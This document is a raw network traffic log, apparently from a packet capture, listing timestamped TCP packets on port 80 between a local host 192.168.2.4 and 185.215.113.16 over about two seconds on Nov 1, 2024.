Nov 1, 2024 08:51:14.644354105 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.644362926 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.644372940 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.644378901 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.644397020 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.644411087 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.644428015 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.644434929 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.644434929 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.644434929 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.644434929 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.644434929 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.644448996 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.644465923 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.644465923 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.644474983 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.644498110 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.644526958 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.653234005 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.653278112 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.653301001 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.653306007 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.653316021 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.653325081 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.653345108 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.653358936 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.695427895 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.695451021 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.695487976 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.695508957 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.699610949 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.699654102 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.699668884 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.699671030 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.699692965 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.699692965 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.699703932 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.699708939 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.699729919 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.699745893 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.728440046 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.728472948 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.728491068 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.728506088 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.728523016 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.728538990 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.728555918 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.728581905 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.878886938 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.878969908 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.878982067 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.878985882 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.879002094 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.879007101 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.879017115 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.879026890 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.879033089 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.879043102 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.879051924 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.879056931 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.879071951 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.879086971 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.879143000 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.879158020 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.879173040 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.879173994 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.879189014 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.879192114 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.879204035 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.879206896 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.879223108 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.879229069 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.879235029 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.879245043 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.879260063 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.879261017 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.879276037 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.879276991 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.879292011 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.879292011 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.879307985 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.879309893 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.879323959 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.879333019 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.879340887 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.879353046 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.879365921 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.879385948 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.889113903 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.889156103 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.889221907 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.931435108 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.931477070 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.931668043 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.964966059 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.965037107 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.965059042 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.965071917 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.965075970 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.965087891 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.965104103 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.965106010 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.965118885 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.965121031 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.965136051 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.965145111 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.965152025 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.965161085 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.965199947 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.996314049 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.996330976 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.996515989 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.007587910 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.007622004 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.007637978 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.007771969 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.082336903 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.082364082 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.082380056 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.082396030 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.082400084 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.082411051 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.082421064 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.082427979 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.082467079 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.082468987 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.082496881 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.082498074 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.082510948 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.082525969 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.082537889 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.082550049 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.082562923 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.082571030 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.082593918 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.082595110 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.082611084 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.082637072 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.082648039 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.124613047 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.124641895 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.124658108 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.124672890 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.124689102 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.124743938 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.124772072 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.200031996 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.200051069 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.200071096 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.200088978 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.200115919 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.200115919 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.200128078 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.200144053 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.200169086 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.200187922 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.200318098 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.200334072 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.200349092 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.200361013 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.200365067 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.200380087 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.200380087 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.200401068 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.200442076 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.252301931 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.252403021 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.252422094 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.252439022 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.252459049 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.252484083 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.284836054 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.284878969 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.284893990 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.284981012 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.317574024 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.317660093 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.317708969 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.317708969 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.317715883 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.317764044 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.317774057 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.317807913 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.317826986 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.317842007 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.317871094 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.317878962 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.317888975 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.317936897 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.317943096 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.317966938 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.317992926 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.318008900 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.318120956 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.318151951 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.318177938 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.318186998 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.318195105 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.318217993 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.318239927 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.318263054 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.369730949 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.369756937 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.369772911 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.369822979 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.369822979 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.402491093 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.402554035 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.402561903 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.402590036 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.402602911 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.402646065 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.435188055 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.435245037 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.435254097 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.435281038 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.435302019 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.435328960 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.435336113 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.435372114 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.435374975 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.435406923 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.435425043 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.435472965 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.435499907 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.435537100 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.435551882 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.435583115 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.435585976 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.435616970 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.435638905 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.435681105 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.476747036 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.476766109 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.476782084 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.476895094 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.487540007 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.487557888 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.487580061 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.487698078 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.489631891 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.520062923 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.520088911 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.520104885 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.520188093 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.556582928 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.556617022 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.556636095 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.556651115 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.556668043 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.556683064 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.556688070 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.556701899 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.556724072 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.556732893 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.556767941 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.597402096 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.597429991 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.597451925 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.597573042 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.597615957 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.609730959 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.609769106 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.609786987 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.609894991 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.638973951 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.639040947 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.639060974 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.639199972 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.674161911 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.674186945 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.674215078 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.674232960 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.674241066 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.674257994 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.674264908 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.674279928 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.674297094 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.674359083 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.674393892 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.714870930 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.714900017 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.714916945 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.715042114 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.727629900 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.727669001 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.727705002 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.727718115 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.727747917 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.727747917 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.756249905 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.756309986 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.756326914 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.756371021 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.756428003 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.791831970 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.791851997 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.791878939 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.791894913 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.791910887 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.791927099 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.791927099 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.791941881 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.791954994 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.791960955 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.791973114 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.791976929 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.791990042 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.791995049 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.792028904 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.792049885 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.832650900 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.832710981 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.832737923 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.832745075 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.832765102 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.832796097 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.994963884 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.994986057 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.995012045 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.995028019 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.995042086 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.995054960 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.995074987 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.995093107 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.995106936 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.995107889 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.995129108 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.995142937 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.995145082 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.995157957 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.995170116 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.995172977 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.995184898 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.995198011 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.995199919 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.995213032 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.995229006 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.995232105 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.995245934 CET	80	57660	185.215.113.16	192.168.2.4
